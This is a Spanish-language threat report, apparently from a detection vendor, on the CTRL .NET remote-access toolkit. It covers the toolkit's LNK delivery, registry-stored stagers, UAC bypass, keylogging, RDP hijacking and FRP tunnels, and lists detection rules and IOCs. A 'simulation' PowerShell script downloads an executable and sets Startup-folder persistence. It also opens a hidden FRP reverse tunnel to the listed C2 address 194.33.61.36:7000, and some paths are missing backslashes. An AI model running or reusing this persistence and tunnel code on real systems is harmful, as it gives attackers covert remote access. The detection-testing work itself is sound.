Bajo CTRL: Diseccionando un Framework de Acceso .Net Ruso No Documentado Anteriormente
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
Censys ARC descubrió un kit de herramientas de acceso remoto ruso previamente no documentado llamado CTRL que combina phishing de credenciales, keylogging, secuestro RDP y túneles inversos basados en FRP. El framework se entrega a través de un archivo LNK malicioso y oculta sus binarios dentro del registro de Windows, donde luego se cargan directamente en la memoria. Su infraestructura de red incluye el dominio hui228.ru y dos direcciones IP que operan un servidor FRP en el puerto 7000. El kit de herramientas se dirige a hosts Windows y mantiene persistencia a través de tareas programadas, cuentas de usuario local ocultas y cambios basados en el registro.
Investigación
Los investigadores identificaron el lanzador LNK, reconstruyeron el cargador PowerShell en capas y rastrearon binarios .NET escalonados almacenados como REG_BINARY valores debajo de las claves del registro Explorer. El stager luego descarga cargas útiles de seguimiento, crea un cargador oculto ctrl.exe, configura túneles FRP y despliega RDP Wrapper para permitir sesiones remotas sin restricciones. Ninguno de los artefactos observados apareció en los feeds de inteligencia de amenazas públicas, lo que sugiere que el framework es una plataforma de acceso privada y hecha a medida.
Mitigación
Los defensores deben observar escrituras de registro inusuales bajo las claves de Explorer, creación de tareas programadas llamadas DriverSvcTask, NetTcpSvc, TermSvcHost o WindowsHealthMonitor, y cuentas locales ocultas añadidas a los grupos Administradores o Usuarios de Escritorio Remoto. Las conexiones salientes a las direcciones IP identificadas y el puerto FRP 7000 deben ser bloqueadas, y el tráfico del protocolo FRP en sistemas inesperados debe ser marcado. Las instalaciones no autorizadas de FRP o RDP Wrapper deben ser eliminadas, y la ejecución de PowerShell debe ser controlada estrictamente.
Respuesta
Si se encuentra actividad relacionada con CTRL, aísle el punto final, adquiera el archivo LNK y el enjambre de registro relevante para el análisis forense, detenga el proceso ctrl.exe y elimine las tareas programadas asociadas. Cualquier cuenta local recién creada debe ser deshabilitada, permisos RDP no autorizados revocados, y credenciales expuestas rotadas. Los equipos entonces deberían escanear el entorno más amplio en busca de servidores FRP adicionales y actualizar las reglas de detección con los IOCs observados.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef process fill:#ffeb99 classDef file fill:#dddddd %% Nodes u2013 Actions (MITRE Techniques) action_user_exec["<b>Action</b> – <b>T1204.002 User Execution</b>: Victim clicks malicious .lnk shortcut"] class action_user_exec action action_lnk_smuggle["<b>Action</b> – <b>T1027.012 LNK Icon Smuggling</b>: Shortcut disguises itself with a folder icon"] class action_lnk_smuggle action action_powershell["<b>Action</b> – <b>T1059.001 PowerShell</b>: Hidden PowerShell command decodes payload"] class action_powershell action action_deobfuscate["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files</b>: Multiple Base64 and Deflate stages"] class action_deobfuscate action action_obfuscation["<b>Action</b> – <b>T1027 Obfuscated Files or Information</b>: Randomized variable names and runtime string construction"] class action_obfuscation action action_shortcut_persistence["<b>Action</b> – <b>T1547.009 Shortcut Modification</b>: LNK serves as persistence mechanism"] class action_shortcut_persistence action action_scheduled_tasks["<b>Action</b> – <b>T1053 Scheduled Task/Job</b>: Four tasks created to run binaries at startup"] class action_scheduled_tasks action action_create_account["<b>Action</b> – <b>T1136.001 Create Account</b>: Hidden local administrator account added"] class action_create_account action action_uac_bypass["<b>Action</b> – <b>T1548 Abuse Elevation Control Mechanism</b>: fodhelper.exe registry hijack bypasses UAC"] class action_uac_bypass action action_proxy_execution["<b>Action</b> – <b>T1218 System Binary Proxy Execution</b>: wlrmdr.exe used to execute payload with elevated rights"] class action_proxy_execution action action_priv_esc["<b>Action</b> – <b>T1068 Exploitation for Privilege Escalation</b>: patches termsrv.dll and installs RDP Wrapper"] class action_priv_esc action action_masquerade["<b>Action</b> – <b>T1036 Masquerading</b>: Files placed in hidden directories with legitimateu2011looking names"] class action_masquerade action action_hide_artifacts["<b>Action</b> – <b>T1564 Hide Artifacts</b>: Defender exclusions, timestamp falsification, registry mimicry"] class action_hide_artifacts action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture u2013 Keylogging</b>: Lowu2011level keyboard hook writes to C:Tempkeylog.txt"] class action_keylogging action action_cred_harvest["<b>Action</b> – Credential Harvesting: Custom WPF Windows Hello UI captures PINs"] class action_cred_harvest action action_rdp["<b>Action</b> – <b>T1021.001 Remote Services u2013 RDP</b>: RDP Wrapper enables remote desktop access"] class action_rdp action action_rdp_hijack["<b>Action</b> – <b>T1563.002 Remote Service Session Hijacking</b>: Attacker shadows active sessions via mstsc /shadow"] class action_rdp_hijack action action_frp_proxy["<b>Action</b> – <b>T1090.002 Proxy u2013 External Proxy</b>: FRP tunnel to hui228.ru:7000 acts as external proxy"] class action_frp_proxy action action_encrypted_channel["<b>Action</b> – <b>T1573 Encrypted Channel</b>: FRP traffic encrypted, AESu2011256u2011CBC payload decryption"] class action_encrypted_channel action action_valid_accounts["<b>Action</b> – <b>T1078.003 Valid Accounts u2013 Local Accounts</b>: Hidden admin account used for persistence and lateral movement"] class action_valid_accounts action action_lateral_movement["<b>Action</b> – Lateral Movement: Use of valid local admin accounts to spread within the network"] class action_lateral_movement action %% Nodes u2013 Tools / Files / Processes tool_lnk["<b>Tool</b> – Weaponized .lnk Shortcut<br/><b>File</b>: kfxm7p9q_yek.lnk"] class tool_lnk tool tool_powershell["<b>Tool</b> – PowerShell<br/><b>Purpose</b>: Execute hidden script that decodes and decompresses .NET stager"] class tool_powershell tool process_stager["<b>Process</b> – .NET Stager stored as REG_BINARY under HKCU…Explorer"] class process_stager process tool_fodhelper["<b>Tool</b> – fodhelper.exe (Windows Utility)"] class tool_fodhelper tool tool_wlrmdr["<b>Tool</b> – wlrmdr.exe (signed Microsoft binary)"] class tool_wlrmdr tool tool_rdpwrapper["<b>Tool</b> – RDP Wrapper<br/><b>Function</b>: Enables unlimited concurrent RDP sessions"] class tool_rdpwrapper tool tool_frp["<b>Tool</b> – FRP client<br/><b>Function</b>: Reverse tunnel to external server"] class tool_frp tool keylog_file["<b>File</b> – C:Tempkeylog.txt<br/><b>Content</b>: Captured keystrokes"] class keylog_file file %% Connections u2013 Attack Flow action_user_exec –>|launches| tool_lnk tool_lnk –>|triggers| action_lnk_smuggle action_lnk_smuggle –>|leads to| action_powershell action_powershell –>|executes| tool_powershell tool_powershell –>|stores payload in| process_stager process_stager –>|decoded by| action_deobfuscate action_deobfuscate –>|enables| action_obfuscation action_obfuscation –>|supports| action_shortcut_persistence action_shortcut_persistence –>|creates| action_scheduled_tasks action_scheduled_tasks –>|creates| action_create_account action_create_account –>|facilitates| action_uac_bypass action_uac_bypass –>|uses| tool_fodhelper action_uac_bypass –>|uses| tool_wlrmdr action_uac_bypass –>|enables| action_proxy_execution action_proxy_execution –>|facilitates| action_priv_esc action_priv_esc –>|installs| tool_rdpwrapper action_priv_esc –>|enables| action_masquerade action_masquerade –>|leads to| action_hide_artifacts action_hide_artifacts –>|adds| action_keylogging action_keylogging –>|writes to| keylog_file action_keylogging –>|supports| action_cred_harvest action_cred_harvest –>|enables| action_rdp action_rdp –>|used for| action_rdp_hijack action_rdp_hijack –>|sets up| action_frp_proxy action_frp_proxy –>|provides| action_encrypted_channel action_encrypted_channel –>|allows| action_valid_accounts action_valid_accounts –>|used for| action_lateral_movement %% Styling Assignments class tool_lnk,tool_powershell,tool_fodhelper,tool_wlrmdr,tool_rdpwrapper,tool_frp tool class process_stager process class keylog_file file "
Flujo de Ataque
Detecciones
Posible sombreado de servicios de escritorio remoto (mediante registry_event)
Ver
Cadenas sospechosas de Powershell (mediante powershell)
Ver
Cadenas sospechosas de Powershell (mediante cmdline)
Ver
Cambios sospechosos en las preferencias de Windows Defender (mediante powershell)
Ver
Escalada de privilegios (salto de UAC) en FodHelper (mediante registry_event)
Ver
IOCs (HashSha256) para detectar: Bajo CTRL: Disecando un marco de acceso .Net ruso previamente no documentado
Ver
IOCs (DestinationIP) para detectar: Bajo CTRL: Disecando un marco de acceso .Net ruso previamente no documentado
Ver
IOCs (Emails) para detectar: Bajo CTRL: Disecando un marco de acceso .Net ruso previamente no documentado
Ver
IOCs (SourceIP) para detectar: Bajo CTRL: Disecando un marco de acceso .Net ruso previamente no documentado
Ver
Detectar conexiones de túneles inversos FRP maliciosos [Conexión de red de Windows]
Ver
Detectar persistencia del kit de herramientas CTRL a través de claves de registro Explorer [Evento de registro de Windows]
Ver
Detectar ejecución de PowerShell ofuscado con carga útil codificada [Windows Powershell]
Ver
Ejecución de Simulación
Requisito previo: La comprobación de pre‑vuelo de Telemetría & Línea Base debe haberse completado.
-
Narrativa del Ataque & Comandos:
Un adversario ya ha depositado el cliente FRP (frp.exe) en el host Windows comprometido a través de un adjunto de phishing malicioso. Para mantener la persistencia, el atacante registra un acceso directo en la carpeta de Inicio que lanza FRP con una configuración que apunta al servidor C2194.33.61.36:7000. Cuando el usuario inicia sesión, el acceso directo inicia FRP, que abre un túnel TCP inverso de vuelta al atacante, permitiéndole reenviar cualquier servicio local (por ejemplo, SMB) a través del túnel. La conexión de red generada por FRP coincide con ladst_ipanddst_portdel criterio, causando una alerta. -
Script de Prueba de Regresión: (PowerShell – autónomo)
# ============================================================================= # Simulación de Túnel Inverso FRP – dispara la regla Sigma fcb13968-1490-44c2-9f9f-c1ad2b668ce6 # ============================================================================= # Variables $frpUrl = "https://example.com/frp.exe" # sustituir por un binario de prueba alcanzable $frpPath = "$env:ProgramDatafrp.exe" $cfgPath = "$env:ProgramDatafrp_client.ini" $c2Ip = "194.33.61.36" $c2Port = "7000" $startupLnk = "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" # 1. Descargar binario de FRP (simulado – usar cualquier ejecutable pequeño para la prueba) Invoke-WebRequest -Uri $frpUrl -OutFile $frpPath -UseBasicParsing # 2. Crear configuración mínima del cliente FRP @" [common] server_addr = $c2Ip server_port = $c2Port [ssh] type = tcp local_port = 22 remote_port = 6000 "@ | Set-Content -Path $cfgPath -Encoding ASCII # 3. Crear un acceso directo en la carpeta de Inicio para ejecutar FRP en el arranque $ws = New-Object -ComObject WScript.Shell $shortcut = $ws.CreateShortcut($startupLnk) $shortcut.TargetPath = $frpPath $shortcut.Arguments = "-c `"$cfgPath`"" $shortcut.WorkingDirectory = Split-Path $frpPath $shortcut.Save() # 4. Iniciar FRP ahora (para que podamos ver la telemetría inmediatamente) Start-Process -FilePath $frpPath -ArgumentList "-c `"$cfgPath`"" -WindowStyle Hidden Write-Host "Túnel inverso FRP lanzado. Compruebe SIEM para detección." -
Comandos de Limpieza:
# Detener el proceso FRP Get-Process -Name frp -ErrorAction SilentlyContinue | Stop-Process -Force # Eliminar archivos y acceso directo Remove-Item -Path "$env:ProgramDatafrp.exe" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:ProgramDatafrp_client.ini" -Force -ErrorAction SilentlyContinue Remove-Item -Path "$env:APPDATAMicrosoftWindowsStart MenuProgramsStartupFRP.lnk" -Force -ErrorAction SilentlyContinue Write-Host "Limpieza completada."